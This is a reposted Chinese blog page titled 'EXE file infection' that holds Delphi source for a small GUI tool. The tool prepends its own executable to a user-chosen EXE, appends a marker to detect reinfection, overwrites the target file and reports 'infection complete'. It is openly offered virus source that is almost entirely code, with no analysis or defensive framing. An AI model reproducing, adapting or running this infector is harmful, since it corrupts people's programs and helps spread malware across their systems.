EXE文件感染

ContractedBlock.gif ExpandedBlockStart.gif Code
unit Unit5;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm5 
= class(TForm)
    Label1: TLabel;
    Edit1: TEdit;
    Button1: TButton;
    Button2: TButton;
    OpenDialog1: TOpenDialog;
    
procedure Button2Click(Sender: TObject);
    
procedure Button1Click(Sender: TObject);
    
procedure copy(s:string);
  
private
    
{ Private declarations }
  
public
    
{ Public declarations }
  
end;

var
  Form5: TForm5;

implementation

{$R *.dfm}

procedure TForm5.Button1Click(Sender: TObject);
begin
 
if opendialog1.Execute then  //打开
   edit1.Text:
=opendialog1.FileName;
end;

procedure tform5.copy(s:string);
var
s1,s2:tmemorystream;
id,iid:longint;
begin
id:
=$+strtoint('66666666');
s1:
=tmemorystream.Create;
s1.LoadFromFile(paramstr(
0));
s2:
=tmemorystream.Create;
s2.LoadFromFile(s);
s2.Seek(
-4,sofromend);
s2.Read(iid,
4);
if iid=id then
begin
s1.Free;
s2.Free;
showmessage(
'文件已经感染了!!');
end
else
begin
s2.Seek(
0,sofrombeginning);
s1.Seek(
0,sofromend);
s1.CopyFrom(s2,s2.Size);
s1.Seek(
0,sofromend);
s1.Write(id,
4);
s1.SaveToFile(s);
s1.Free;
s2.Free;
showmessage(
'感染完成!!');
end;
end;


procedure TForm5.Button2Click(Sender: TObject);
begin
if edit1.Text='' then
  showmessage(
'请选择文件!!')
else
copy(edit1.Text);
end;

end.

转载于:https://www.cnblogs.com/bsoom/archive/2009/11/11/1601276.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值